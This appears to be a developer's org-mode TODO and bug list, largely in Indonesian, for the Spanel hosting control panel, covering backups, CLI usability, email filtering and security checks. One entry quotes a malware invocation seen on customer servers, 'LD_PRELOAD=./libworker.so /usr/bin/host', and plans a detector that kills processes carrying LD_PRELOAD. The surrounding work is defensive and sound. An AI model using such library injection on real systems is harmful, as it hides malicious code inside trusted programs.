glacier backend\n- modul perl bikinan vsespb: https://github.com/vsespb/mt-aws-glacier\n- bisa dipadukan dengan encfs\n** WISHLIST [2013-10-18 Jum] remote backup: encfs + rsync.net\n- ref :: http://blogs.perl.org/users/steven_haryanto/2013/10/backing-up-private-data-securely.html\n** WISHLIST [2013-10-17 Kam] local backup: opsi utk produce binary diff (rdiff, xdelta)\n- memberi opsi utk menghasilkan backup incremental yang lebih kecil space\n  usagenya, dengan konsekuensi lebih lambat.\n- cocok untuk mengirim hasil backup ke remote backup, lebih efisien bandwidth.\n- hanya cocok jika filenya gede2x. utk shared hosting di mana filenya kecil2x,\n  lebih cocok cukup menyimpan whole modified files (a la cp -la + rsync).\n- katanya xdelta lebih kecil hasil diff-nya tapi lebih lambat (seperti bzip2 vs\n  gzip gitu kali ya).\n** TODO [2013-10-15 Sel] simpan a hosting user's settings in cloud    :cloud:\n- mempermudah user saat migrasi antarperusahaan hosting\n- remote backup service juga ujung2nya\n** TODO [2013-10-15 Sel] evaluate cloudlinux/cagefs vs spanel\n- saat ini sudah prominent banget pake cloudlinux di cpanel. barangkali menunggu\n  waktu sampe cpanel membeli cloudlinux.\n- apa yang gak ada di spanel/debian?\n** TODO [2013-10-14 Sen] add more examples for functions\n- mempermudah pemakaian, tinggal use --help most of the time.\n** IDEA [2013-10-10 Thu] forum klien spanel or wiki: tips/cookbooks, tukeran nifty skrip/shell scripts penggunaan spanel command line etc\n** IDEA [2013-10-10 Thu] remote backup: jual jasa backup service lewat rsync: jadi reseller rsync.net\n** IDEA [2013-10-10 Thu] remote backup: jual jasa backup service yang lebih safe (server gak tau), cryptocontainer on mounted storage\n- tapi jangan pake sshfs kali ya, lelet banget.\n- mungkin pake nbd/drbd? karena sudah diencrypt di client-side, gak masalah kita\n  pake raw low-level connection to server juga. cukup listen di port/host\n  tertentu, pake otentikasi tertentu, lalu udah deh.\n- kita sebagai penyedia service cukup menyediakan.\n- utk redundancy? kita pakai raid? lalu kita sediakan juga backup? (kayaknya\n  harus sih). tapi coba baca2x nbd tuh macem2x, ada xnbd yg support live\n  migration, dsb.\n- karena nbd gak ada otentikasi, saat mau remote backup, spanel bisa negotiate\n  something dulu dengan si server remote backup (otentikasi, server ngecek\n  billing dan quota dsb), jika semua oke, baru dibukakan 1 port untuk si klien\n  (dilimit pake firewall port tersebut hanya nerima dari IP si klien aja) dan\n  nanti ada timeout? utk tutup lagi. spanel di sisi klien lalu setup nbd-client\n  dan melangsungkan backup.\n- (3) trus di sisi server hosting, kita harus setup firewall agar hanya root\n  yang bisa outgoing ke host:port nbd-server.\n- UPDATE: performance ga bagus kalo multiple clients (maksudnya 1 client, tapi\n  gw ngopi secara paralel dari 2 shell script ke partisi tsb). atau contoh lain\n  lagi ngopi. trus di console lain gw coba view sebuah file. lamaaa banget (bisa\n  1 menit baru respon). mungkin ada setting threads di (x)nbd-server, atau kita\n  harus jaga agar proses remote backup ini hanya 1 proses serial.\n- UPDATE [2013-10-14 Sen]: performance/efisiensi gak bagus, mis: rsync BIGTREE/\n  /mount/nbd1/BIGTREE/ saat ngitung checksum aja bisa baca raw sectors di nbd1\n  sampe bergiga2x. cocoknya kalo kayak gini, kita gak usah pake rsync, tapi\n  backup local lalu diff-nya kita kompres dan kirim ke remote storage.\n- gak harus jual untuk jasa backup, bisa juga remote storage general\n- alternatifnya adalah nbd over ssh. nbd-server listen di 127.0.0.1:PORT lalu\n  kita tunnel pake ssh:\n\n  : ssh -N -L 10001:127.0.0.1:10000 builder\n\n  ref: http://airtower.wordpress.com/2010/06/08/nbd-through-ssh/\n\n  keuntungannya ada otentikasi dan enkripsi network, jadi gak perlu setup\n  firewall outgoing (3), tapi ada overhead. karena kita ingin create encrypted\n  volume, sebenernya gak perlu lagi di sisi trafik kita encrypt.\n\n  tapi nanti kita bisa memberi pilihan deh ke klien.\n- dari sisi kita sebagai provider, kita bisa menggunakan drbd utk provide\n  redundancy. kita gak perlu provide backup (+history) kayaknya, ini bener2x raw\n  device asal high avail dan redundant.\n- bisakah kita sewa amazon atau sejenisnya, akan tetep masukkah?\n- [2013-10-17 Kam] setelah baca2x lebih jauh, ada banyak solusi yg ditawarkan\n  orang, seperti tarsnap dan duplicity. kurang lebih prinsipnya adalah: local\n  cache (direktori terakhir) dicompare dengan file terbaru, hasilnya adalah\n  diff/xdelta. diff ini dikompres. pada backup pertama kali, tentu saja full\n  archive dienkrip dan dikirim ke server. yang bisa kita cek adalah duplicity.\n  tapi kalo prinsipnya adalah sama seperti di atas, maka di spanel kita tinggal\n  mengirim xdelta-nya (btw, rdiffdir)\n** IDEA [2013-10-10 Thu] remote backup: jual jasa backup service yang lebih safe: encrypted folder?\n** IDEA [2013-10-09 Wed] jual plugin command-line utk whmcs (masterkey additions, API layer yg lebih waras)\n** BUG [2013-10-07 Mon] create_site: menghasilkan symlink SITE/SITE\n** WISHLIST [2013-10-07 Mon] per-user blacklist utk outgoing email (spanel-sendmail)\n- mis gw sekarang lagi ngeliat moodle gw di campus.masterweb.com diserbu sama\n  registration\n- at least registration-nya dibiarin dulu, gw lagi gak ada waktu (liat wishlist\n  ngapus semua email yg belum konfirm email)\n- tapi gw bisa nolak dulu di sendmailnya semua email dengan pola to\n  /\\\@hotmail.com/ dan subject account confirmation or whatever.\n- blacklist ini nanti terintegrasi juga dengan semua outgoing channel (smtp,\n  ...)\n- nanti gw bisa hapus semua yg belum confirmed\n** WISHLIST [2013-10-07 Mon] cgi/php: kirim informasi path script CGI dan env REMOTE_ADDR (dan proxy? HTTP_X_FORWARDED_FOR, HTTP_VIA) CGI spanel-sendmail (and smtpd?)\n- supaya kita tahu dengan lebih mudah, skrip php mana yang mengirim email\n  (mengetahui skrip mana yang mungkin malware/rogue)\n- kalo skripnya gak rogue, tapi diserbu sama spam atau rogue registration, kita\n  jadi bisa tahu IP mana yg ngirimnya (client yg rogue) dan bisa kita feed ke\n  blacklist.\n** WISHLIST [2013-10-07 Mon] wp, moodle, joomla, etc: hapus semua user yang belum konfirmasi email\n- baru2x ini di moodle gw di campus.masterweb.com diserbu sama rogue\n  registration, tapi email2nya pada gak valid (RANDOM\@hotmail.com? atau ditolak\n  sama hotmail karena diblacklist) sehingga pada gak keregistrer.\n- untuk ngapusnya, paling enak tuh dengan ngapus semua user yang dalam 1 minggu\n  gak confirm email.\n** WISHLIST [2013-10-06 Min] fungsi: allow web access only from my IP\n- contoh kasus: setup/upgrade apps tapi hanya ingin oleh kita, karena security\n  upgrade, dll\n- cek/detect my IP (atau dari history?)\n- bisa set htaccess rules\n- bisa set waktu, otomatis nanti reverse lagi\n** TODO [2013-10-04 Jum] program apa sih biasanya yang dipakai untuk manage/kill proses yg suka makan/manteng cpu\n** TODO [2013-10-04 Fri] ui: banyak gunakan icon/grafik utk mempermudah lihat\n- contoh halaman config domain registrars sekarang lebih mudah dilihat karena\n  ada logo tiap registrar, lebih keliatan.\n** TODO [2013-10-04 Fri] aktifkan lagi mod_security apache\nsekarang nampaknya di debian sudah diinclude lagi, gw baru aktifin di xenon utk\nmasterkey. nama paketnya 'libapache-mod-security' (tapi ini utk apache2, aneh,\nsekarang prefiks libapache2- tidak dipake lagikah?)\n** WISHLIST [2013-10-04 Fri] fungsi: matikan atau hidupkan service\n- bedanya dengan '/etc/init.d/foo' atau 'service foo ...': ada opsi utk exclude\n  dari watchdog (biar gak diidup2in lagi dulu), dan ada timer untuk matikan\n  selama X menit/jam lalu hidupkan lagi.\n** WISHLIST [2013-10-04 Fri] fungsi: set sebuah website ke maintenance page\n- bisa diset ke server ini atau server lain (jika server lain, dns-nya...)\n- bisa diset agar IP2x tertentu bisa mengakses halaman aslinya (yg berarti,\n  harus pake .htaccess atau rewriterule gitu, gak bisa ganti host)\n- penjelasan/detil teknisnya harus dikasih tau jelas, biar admin ngerti cara\n  kerjanya dan gimana workaround atau customize nya.\n** TODO [2013-10-02 Wed] (ongoing) add examples to function metadata\n** TODO [2013-09-27 Jum] ssl: automate get ssl certificate\n- startssl gratis, ada API?\n- kerjasama dengan provider API tertentu\n- yang provide trial\n- ada deposit?\n- untuk situs yang butuh registrasi, lakukan (tapi ini brittle deh)\n- utk verifikasi email, jika ke server kita sendiri (atau via IMAP), cek mailbox\n  kita dan parse email dari si SSL provider.\n- log:\n  + [2014-01-17 Fri] gw nonaktifkan timestamp-nya, kayaknya ini gak terlalu\n    mendesak. sekalian nanti dengan komponen spanel2.\n** TODO [2013-09-20 Jum] pake err()\n- [2013-09-20 Jum] beberapa modul API udah dicoba sih, kita lihat nanti gimana\n  perbedaan/efeknya.\n** TODO [2013-09-07 Sab] refactor: ganti mailacc jadi mailuser\n** WISHLIST [2013-09-06 Fri] colors in usage\n** TODO [2013-09-06 Fri] help users find out quickly which API func -> cli command (and vice versa)\nmis:\n: % spanel list-accounts --help\n: This subcommand is API function list_accounts() in API module account.shared.query.\n:\n: blah...\n\ncontoh lain:\n: % spanel account.shared.modify --help\n: This subcommand is API module account.shared.modify.\n:\n: This API module contains the following API functions:\n: - create_account             (spanel create-account)\n: - disable_account            (spanel disable-account)\n: ...\n:\n: See also: account.shared.query.\n\ncontoh lain:\n: % spanel account.xenvps.modify --help\n: This subcommand is API module account.xenvps.modify.\n:\n: This API module contains the following API functions:\n: - create_account             (spanel account.xenvps.modify create-account)\n: - disable_account            (spanel account.xenvps.modify disable-account)\n: ...\n:\n: See also: account.xenvps.query.\n\nSee also bisa dicari dari modul lain yang \"x.schema.entity\"-nya sama, atau\ntags-nya banyak sama, atau explicitly dari informasi Rinci package metadata:\nlinks\n\nsebaliknya dari API -> cli?\n\n** TODO [2013-09-06 Fri] provide examples for functions\nhttps://news.ycombinator.com/item?id=2850543\nOne thing that always infuriates me:\n\nIf I go to --help or the man page for your command, and don't see a real example\nof how to use it immediately, you've failed me as a user.\n\nSeeing your syntax tree and a list of every option and its description doesn't\nhelp me when I'm first trying to use your program. I just want to see one or two\nquick examples of real commands with a short sentence explaining each. After\nthat I'll dive into the mess that is the dozens of flags and inputs to decipher\nexactly what I want.\n\nIt always struck me as odd that man pages tend to have the EXAMPLES section as\nthe last section of the document. I really would like it the other way around\nbut this kinda fits with a bottom-up approach to learning. Look at the small\ndetails then get the full picture and how it's supposed to be used.\n\nrinci: pindahkan examples ke awal? seperti Synopsis di perl. (added as another\ntodo item)\n** TODO [2013-09-05 Thu] 2co: wp-cli.org\nbisa kita pakai untuk diintegrate ke spanel\n\ncontoh:\n:  wp blog create|delete\n:  wp cache add|decr|delete|flush|get|incr|replace|set|type\n:  wp comment create|delete|trash|untrash|spam|unspam|approve|unapprove|count|status|last\n:  wp core download|config|is-installed|install|install-network|version|update|update-db\n:  wp db create|drop|reset|optimize|repair|connect|cli|query|export|import\n:  wp eval-file\n:  wp help <command>\n:  wp plugin install hello-dolly\n:  wp theme status --url=localhost/wp/test\n\n** TODO [2013-09-04 Wed] doc/website: perbedaan harga lisensi vps & dedicated\n** IDEA [2013-09-04 Wed] ux: jika user belum pernah pakai tab completion, beri tip/hint\ncontoh: saat tab completion kita bisa write flag to ~/.spanel/tab_done or\nsomething (ignore jika error). jika file flag ini belum pernah ada, artinya user\nbelum prenah menggunakan tab completion. kasih tau user bahwa he/she's missing\nout.\n** IDEA [2013-09-04 Wed] ux: autocorrect ('did you mean ...')\nuntuk username, dsb. kita bisa beri plugin misalnya pada fungsi2x get_FOO()\n(fungsi2x yang beroperasi ke single entity, ada hintnya di metadata fungsi) jika\nreturnnya 404, maka ada kemungkinan salah ketik/eja.\n\n: % spanel get-account steveb\n: ERROR 404: No such account\n: HINT: Did you mean 'steven'?\n\n: % spanel delet-account steven\n: ERROR 400: Unknown command\n: HINT: Did you mean 'delete-account'?\n\nmirip seperti zsh. Ini interaktif, jadi kita jawab y, maka akan diexecute ulang\ndengan command (atau parameter) yg diautocorrect.\n** WISHLIST [2013-09-03 Tue] web: admin: quick su ke salah satu user yg dimaksud, tanpa harus ke halaman daftar user dulu\n- utk expert uses\n- kadang halaman daftar user itu lambat/gede\n- sebenernya di spanel 1.3 udah ada, yaitu lewat sintaks ADMINUSER:USER, tapi\n  ini di browser jadi gak kerekam passwordnya, mesti satu2 USER\n** WISHLIST [2013-09-03 Tue] use case: alamat email internal\ncontohnya management\@masterweb.com, gw sebel lama2x jadi tempat klien ngadu dan\nnanya masalah support. misalnya gw pengen bikin ini jadi internal, caranya bisa:\n\n- hanya terima email dari \@masterweb.com, email lainnya ditolak/bounce 5xx.\n- hanya terima email yang ada di list X, email lainnya ditolak/bounce 5xx.\n- email dari yang lain gak ditolak, tapi dapat autoresponse.\n- harus pake subjek tertentu?\n- hanya bisa dikirim dari IP tertentu?\n\nada fasilitas utk bikin list alamat email (atau sama dengan milis).\n** TODO [2013-08-22 Thu] [#C] api mail: write_passwd_cdb (private)\ngak terlalu perlu sih, kasus gw saat ini yg mau dipake adalah utk mendisable\nmailbox yg sering ke-On. tapi karena nanti kita akan ditch vmailmgr, ya gak\nperlu.\n** TODO [2013-08-22 Thu] installer: pilih mirror cpan alternatif jika error\nmwn-dtp.archive.or.id maupun mwn-tlkm.archive.or.id entah kenapa sucks, kadang2x\nsuka banyak file not found.\n\n: Koh lagi update Spanel ya?, download paket CPANnya seperti tidak ada\n: Fetching http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz ... FAIL ! Download http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz failed. Retrying ... ! Download http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz failed. Retrying ... ! Download http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz failed. Retrying ... ! Failed to download http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz\n: lagi install spanel\n: pakai mwn-tlkm juga sama\n: 08:34:50 AM\n: stevenharyantomwn \xC2\xA0\n: itu mirror cpan nya ga bener\n: ganti mirror cpan ke yang lain coba, di spanel.yaml yna\n: 08:36:37 AM\n: dimaspramudia_mwn \xC2\xA0\n: sudah coba pakai mwn-tlkm dn mwn-dtp gak bisa kok koh\n: mirrors: - http://mwn-dtp.arsip.or.id/CPAN\n: http://mwn-dtp.arsip.or.id/CPAN/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz seperti tidak ada\n: 08:36:59 AM\n: stevenharyantomwn \xC2\xA0\n: iya, itu dua2nya setali tiga uang ya\n: http://www.cpan.org/authors/id/B/BO/BOBTFISH/Module-Metadata-1.000015.tar.gz\n: itu ada kok\n\nbikin mirror sendiri pake pinto?\n\ntapi intinya, proses instalasi spanel bisa ngecek dan retry other mirror.\n** TODO [2013-08-14 Wed] [#C] tambahin locking utk resource2x yg nondatabase/belum ada locking\ncontohnya waktu kita menghapus email (hapus email bisa bermenit2x jika banyak,\n+update passwd.cdb). bisa terjadi race condition. belum ada locking kayaknya di\nvmailmgr.\n** TODO [2013-08-12 Mon] tambah drops_privilege => 'temp' ke metadata API saas::file\n** IDEA [2013-08-07 Wed] php: perbolehkan nama modul pake titik\n** TODO ganti .spanel.meta.yaml file2 sejenis ini dengan sqlite atau postgres, sebab handle locking sendiri sering ngehang\n** TODO [2015-02-06 Fri] list_accounts: add kolom bw_usage (gabungkan hasil dari get_account_bandwidth_usage) tapi mungkin hanya jika --detail --with-bw-usage\n** TODO [2015-02-06 Fri] list_accounts: add opsi utk sorting, mis by bw_usage\n: (04:13:16 PM) ariemwn: itu Pak yang fungsi barunya untuk cek bandwith bisa ditambahkan untuk top big usage bandwith tidak ya\n: (04:13:22 PM) ariemwn: rank 10 atau 5 maybe\n: (04:15:25 PM) stevenharyantomwn: ic, nanti dimasukkan ke list_accounts mungkin ya, ada opsi utk sorting by bw usage\n\n(tapi sebenernya yang diinginkan oleh si ade itu utk ngecek outbound bandwidth\n(real-time). fungsi api ini bukan untuk itu.)\n** WISHLIST [2015-02-04 Wed] progress/verbose saat delete-account dsb\n** IDEA [2014-07-24 Thu] multiple queues (when MTA supports it, e.g. )\n- beda paket hosting (biar paket murah ga menuhin queue), dibedain bandwidth dan\n  concurrency-nya.\n- tiap queue ada black/whitelist tersendiri?\n** TODO [2014-10-07 Tue] sp: tambah ip restriction di ssh sp.info\n** TODO [2014-10-07 Tue] sp: interface utk tambah ip restriction login ssh dll\n** IDEA [2014-10-07 Tue] spanel easter eggs and credits. ambil cerita atau memoable moments. or eve some photos.\n** BUG [2014-12-26 ] di paket web1menit walau udah dilimit pop=1, forwarding=1, masih bisa bikin akun email dari spanel > 1 (laporan pian)\n** TODO [2013-12-06 Jum] setup us spanel.info mirror di vps digitalocean\n** TODO [2014-04-05 Sab] spanel: more autocompletion on arg value\n** TODO [2014-12-31 Wed] refactor: pakai Filename::Compressed & Filename::Archive (di saas::archive), split juga sekalian ::archive dan ::compressedfile (or something)\n- kedua modul tersebut memang hasil ekstrak dari kode di spanel\n** BUG [2014-12-03 Wed] mysql.delete-mysql-db: error dari mysql saat drop db, gak bisa hapus dir\n: ERROR 500: Can't DROP DATABASE: Error dropping database (can't rmdir '/home/sloki/user/mwn/mysql/mwn_kbclient_m', errno: 13)\n- sebenernya kalo dari segi permission udah oke sih, cuma mysql-nya aja kali ya\n  yang \"gak berani ngapus\"?\n- direktorinya udah kosong, tinggal dihapus kok\n** BUG [2014-11-21 Fri] saat restore (step 2 migrasi) masih dijumpai kasus bentrok uid (main uid dan cgi-user -nya)\n: (05:38:27 PM) pianmwn: maaf koh tanya agak urgent, url phpmyadmin knp ditemukan invalid hostname ya ? apa karena penamaan user ya ?\n: (05:38:55 PM) stevenharyantomwn: iya, subdomainnya harus sama dengan database yg mau dikonek\n: (05:39:17 PM) stevenharyantomwn: keduanya harus milik user yg sama\n: (05:41:17 PM) pianmwn: iya pantes begini\n: (05:41:18 PM) pianmwn: nfadmin' has the same uid as `webnfadmin'\n: root\@server4206:~# /c/sbin/fixperm  webnfadmin\n: [3] Fixing user's groups ...\n: [5] Fixing cgi-user ...\n: [5] User `cgi-webnfadmin' has the same uid as `webnfadmin'\n: (05:42:04 PM) stevenharyantomwn: hm, ada uid bentrok ya\n: (05:42:07 PM) pianmwn: bisa begini krn apa ya, hasil restore kali ya ? api spanel ada gak ya koh yg langsung memperbaiki permission /etc/passwd ?\n: (05:42:16 PM) stevenharyantomwn: salah satu diubah\n: (05:42:26 PM) stevenharyantomwn: di step 2 itu udah ada kok langkah utk mengganti uid kalo bentrok\n: (05:42:32 PM) stevenharyantomwn: step 2 migrasi\n: (05:42:35 PM) pianmwn: oh ic\n: (05:42:43 PM) stevenharyantomwn: gak tau kenapa masih bentrok, hasil restore backup kali ya\n: (05:43:09 PM) stevenharyantomwn: bisa tinggal diganti aja uid salah satu user di /etc/passwd lalu fixperm & fixplan\n: (05:43:48 PM) pianmwn: oke fixed\n** BUG [2014-11-07 Fri] App::spanel::completion dinonaktifkan dulu, karena jika diaktifkan maka \$self->completion nilainya 'opt'? weird\nefeknya adalah saat ini gak bisa complete account names.\n** TODO [2014-12-03 Wed] api func: backup database mysql tertentu\n- misalnya gw mo upgrade aplikasi wordpress atau mediawiki\n- gw pengen bisa backup database (dan sekalian filesystem? tapi yg lebih penting\n  database)\n** TODO [2014-11-20 Thu] disable binlog by default (kecuali kalo ada replikasi)\n- di debian defaultnya hidup dan 0 days (unlimited, karena begonya lagi ada bug\n  di mysql/debian kalo diset expire-days-nya malah crash). jadi ujung2nya nanti\n  bikin penuh server di partisi /var/log/mysql/. lame banget ya?\n** TODO [2014-11-20 Thu] filtering email: klien ada yg minta hanya forward email yg memenuhi syarat tertentu (kayak di gmail lah intinya)\n** TODO [2014-11-19 Wed] fatten: test fatscript by simulating kondisi gak ada modul (Test::Without::Module)\n** TODO [2014-11-19 Wed] 2co: cpanel jailed shell (di /home/virtfs)\n- biar gak bisa liat home user lain (inilah solusi overengineered, gara2x\n  permission /home/USER gak bener.)\n- ref: https://documentation.cpanel.net/pages/viewpage.action?pageId=362447\n** TODO [2014-11-06 Kam] 2learn: cgroups\n** TODO [2014-10-29 Rab] write_file diubah jadi jangan multiple, per file aja\n** TODO [2014-10-29 Rab] write_file: accept partial argument for content\n** TODO [2014-10-29 Rab] read_file: use Rinci 1.1.64 partial result standard\n** TODO [2014-09-20 Sab] spanel trial license\n- biar aman sebaiknya encrypt (some) modules first and we also need to expire\n  web interface etc (or perhaps just the api?)\n- perhaps: license id = 0, lalu kontak server, lalu catat dan berikan license id\n  random.\n- tanpa kontak server pun, pertama kali pakai pasang timer countdown.\n- think about how it works with payment with masterkey.\n** TODO [2014-06-12 Wed] think about caching\n- list_accounts mungkin 30 menit s.d. 1 hari cache periodnya masih ok? tapi jika\n  add_account, delete_account, otomatis expire cache.\n- some timings in s4040 (parking, 4765 accounts): 10 detik utk\n  get_all_accounts_disk_usage(), 4 detik utk list_accounts(detail=>0).\n- [2014-08-27 Wed] kalo nanti udah pake account_type=virtual, list_users bisa\n  cepat sih, semua terdaftar di database dan tinggal satu perintah sql. kalo\n  masih di /u/USER/sysetc/domains, walau cepat baca 1 file tapi kalo harus open\n  ribuan file, bakal jadi lama juga terutama kalo sistem lagi sibuk disknya. ini\n  kayaknya solusi yg lebih masuk akal ke depannya, apalagi kalo kita mau bikin\n  incremental search. gw pengen subsecond search. scanning /u/USER is not\n  feasible anymore. store di db juga memungkinkan \"expire sebagian\", kalo kita\n  pake cache CHI, kita harus expire semua user (gak juga sih, tapi, bakal jadi\n  lebih ribet ngatur cache expiry nya).\n** BUG [2014-08-27 Wed] cek plugin check_quote squirrelmail di spanel gak jalan\n** TODO [2014-08-06 Wed] replace DateTime with Time::Moment in some projects\n: \$ time list-perl-releases\n: ...\n: real    0m0.150s\n: user    0m0.136s\n: sys     0m0.016s\n:\n: \$ time list-perl-releases --size-min 100000\n: +------------------------------+\n: | Data-Schema-0.134.tar.gz     |\n: | CPANLists-Server-0.02.tar.gz |\n: +------------------------------+\n:\n: real    0m0.144s\n: user    0m0.132s\n: sys     0m0.008s\n:\n: \$ time list-perl-releases --date-min 2014-08-06\n: +----------------------------------------+\n: | Color-ANSI-Util-0.13.tar.gz            |\n: | Calendar-Indonesia-Holiday-0.22.tar.gz |\n: +----------------------------------------+\n:\n: real    0m0.651s\n: user    0m0.644s\n: sys     0m0.004s\n\ncuma sekitar 3300 record di releases.txt.\n\nkalo di-profile, ternyata DateTime::new memakan +- 54% total waktu eksekusi.\nditambah DateTime::_stringify 5.7%, DateTime::compare 11.2%. jadi total udah\n70%-an sama DateTime doang! tadinya pertama gw pikir yang bikin lambat adalah\ninterpreted selection di Perinci::Sub::Gen::AccessTable.\n** TODO [2014-07-26 Sab] q: sekarang ada user 'backup' (debian? ubuntu? linuxmint?) buat apa ya?\n- home di /var/backups/\n** BUG [2014-07-24 Thu] spanel-complete menampilkan completion file di direktori / karena dilakukan dari sisi server\nseharusnya dilakukan dari sisi klien dan menampilkan file/dir di cwd klien\n** FIXED [2014-07-24 Thu] pesan error yang kurang jelas untuk nama user db yang tidak sah\nkalo gak salah limitnya 15 karakter atau berapa gitu?\n** TODO [2014-07-07 Sen] spanel-complete fallback ke pericmd jk apid mati [#C]\n** TODO [2014-07-04 Fri] ux: remove double error message\n: root\@server4001:~# spanel delete-account\n: Missing required argument: account\n: ERROR: Failed parsing arguments: 400 - Missing required argument: account\n** TODO [2014-06-27 Fri] periswrap: employ technique like in Hook::LexWrap (replace caller() temporarily inside the wrapped subroutine so it doesn't see the wrapper)\n- this is more transparent than the wrapped subroutine having to use\n  Perinci::Sub::Util::caller().\n- after this is complete, remove caller() from Perinci::Sub::Util.\n** BUG [2014-06-20 Fri] list-volumes mengembalikan data aneh (ada coderef?)\nlihat dirmeta_path, perlu dicek kenapa coderef, saat ini udah kefilter dulu sih\nsementara oleh Data::Clean::JSON.\n\n: root\@bismuthb:~# spanel list-volumes steven --json\n: [\n:    \"200\",\n:    \"OK\",\n:    [\n:       {\n:          \"dirmeta_path\": \"CODE\",\n:          \"id\": \"data\",\n:          \"path\": \"/u/steven\",\n:          \"read_dirmeta\": 1,\n:          \"show_dirmeta\": 1,\n:          \"title\": \"Data\",\n:          \"visible\": 1,\n:          \"writable\": 1\n:       },\n:       {\n:          \"id\": \"downloads\",\n:          \"path\": \"/c/share/installers\",\n:          \"read_dirmeta\": 1,\n:          \"show_dirmeta\": 0,\n:          \"title\": \"Downloads\",\n:          \"visible\": 0,\n:          \"writable\": 0\n:       },\n: ...\n** TODO [2014-06-11 Wed] upgrade-spanel: parse Changes, kumpulkan [SERVICES THAT NEED TO BE RESTARTED], tampilkan [USER'S NOTES], warn/confirm dulu jika ada [INCOMPATIBLE CHANGES] atau [REMOVED FEATURES]\n- setelah itu nanti hapus \"blind\" restart code di spanel-setup (saat ini blindly\n  restart spanel-jobd dan spanel-apid karena servis yg kedua bakal sering harus\n  direstart anyway, kalo yg pertama karena peralihan dari 1.3.15).\n** TODO [2014-06-06 Fri] API list-files lelet banget, di server yang load-nya cuma 2-3, bisa sampe 10 detik\n- dugaan sementara gw adalah list_volumes?\n- tapi kadang cepet juga di bawah 1 detik, kayaknya ada hubungan dengan cache\n  disk?\n** TODO [2014-05-28 Wed] susun struktur dokumentasi dg melihat dokumentasi plesk & cpanel & postgresql\n** TODO [2014-05-28 Wed] provide a way to check progress of remote backup & report problem if backup cannot be transferred due to bandwidth limit, hanging rsync process, etc\n** BUG [2014-05-28 Wed] squirrelmail keterangan password baru > 4 digit (ada di forumi)\n** TODO perpanjang domain: sloki.com  <2018-10-20 Mon +5y -6m>       :domain:\n- sebenernya gak perlu lagi sih kalo nanti kira2x udah gak terlalu butuh lagi.\n  sekarang hanya dipake utk old url spanel.sloki.com.\n- [2013-07-13 Sat] diperpanjang 5th\n** TODO perpanjang domain: spanel.info  <2019-02-21 Thu +5y -6m>     :domain:\n   - State \"DONE\"       from \"WISHLIST\"   [2013-08-31 Sat 13:19]\n   - State \"DONE\"       from \"TODO\"       [2011-11-24 Thu 18:01] # perpanjang 2tahun \$17.96 cc hsbc\n** IDEA [2014-11-13 Thu] progress indicator saat instal webapps, backup, dll yg lama\n** IDEA [2014-11-12 Wed] IP blocker architecture\n- ada 1 proses blocker, servis2x/komponen lain bisa minta block pada proses ini.\n  jadi gak ada duplication of effort.\n- block perlu ada yang low-level (drop paket IP) agar lebih cheap dan gak\n  membebani services.\n- perlu bisa cepat respon (dalam hitungan <1 menit) dan blok banyak IP (ddos\n  attack)\n- quickly block by country\n- autoexpires (utk temporary blocks)\n- selain blok IP (atau blok IP blocks), bisa blok yang lainnya mungkin\n- contoh2x kasus ::\n  + [2014-11-12 Wed] server6005 diserang smtp-nya sama ratusan IP (random,\n    berbagai negara), ngirim perintah macam 'JJJJKKKKKK ...'. kita perlu bisa\n    blok ini langsung di level firewall IP-nya, smtpd perlu bisa ask the blocker\n    to do this. sebab kalo gak disend ke lower level blocker, tetep masih bisa\n    konek ke smtpd dan mengganggu/menuhin koneksi.\n** TODO [2014-11-06 Kam] 2co: cpulimit\n** TODO [2014-08-20 Wed] spanel: program pengecek skrip yg akan dieksekusi sbg cgi/php\n- ini dulu visi gw terhadap cgiexec, bisa ngescan dulu skrip yg akan dieksekusi\n  (tentu saja hasilnya ntar dicache selama beberapa saat, gak di tiap request).\n** TODO [2014-08-20 Wed] spanel: program pengecek proses2x user\nuntuk setiap proses yg berjalan atas nama user, cek:\n\n- jika user bukan user hosting, atau sudah tersuspen, log + bunuh.\n- jika ada environment mencurigakan (cek /proc/PID/environ; UPDATE: gak muncul\n  tuh): LD_PRELOAD, log dan bunuh. deteksi keberadaan malware (liat dari exe\n  atau pwd)\n** TODO [2014-08-20 Wed] spanel: program pengecek file2x milik user\n- clamscan (tapi lelet abis euy)\n** TODO [2014-08-20 Wed] spanel: security: malware checking: gak bisa mengandalkan /proc/PID/exe (path executable) karena malware bisa menginject code lewat dynamic linker (LD_PRELOAD)\n- nemu di belasan server hosting mwn: ada multiple process /usr/bin/host banyak\n  makan cpu, admin pian dan ade udah ribut2x \"program /usr/bin/host harus\n  dibatasi\" tadinya gw menebak program ini keinfeksi malware, tapi dengan\n  pengecekan dengan debsums ternyata masuk sama md5sum-nya. ternyata di skrip\n  pwd-nya (direktori upload wp [atau joomla, sejenisnya], seperti biasa) ada\n  skrip PHP yg melakukan eksekusi: \"LD_PRELOAD=./libworker.so /usr/bin/host\"\n- ref: http://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/\n- ref: http://forums.theregister.co.uk/forum/1/2014/07/18/malware_linux_freebsd_web_servers/\n- ref: http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/\n- gunakan SELinux untuk disable LD_PRELOAD? (defaultnya di linux dienable dan ga\n  bisa didisable).\n** IDEA [2014-07-27 Min] use 'readonly VARNAME' di bash utk protect some settings\n** TODO [2014-07-27 Min] by default set 'TMOUT=xxx' utk protect root's shell\n** TODO [2014-06-14 Sat] use 'perf' for statistics\n- in general, see what options are available for what we want, there are now\n  many.\n- i think for some things we still need to collect ourselves, e.g. raw snapshot\n  of `ps awx`, `netstat -anp` output, etc. but combine with other cheaper/more\n  efficient methods and provide a single consistent API.\n** TODO [2014-06-05 Thu] opsi utk mengizinkan akses ke c compiler (sementara), mis utk instal perl modules\n** IDEA [2014-05-02 Jum] when creating data dir converting cpanel -> spanel, allow cp -la\n** IDEA [2014-04-16 Wed] command 'spanel list-spanel-changes' for convenience (atau 'list-changes'? karena 'spanel' sudah in context)\n** IDEA [2014-04-16 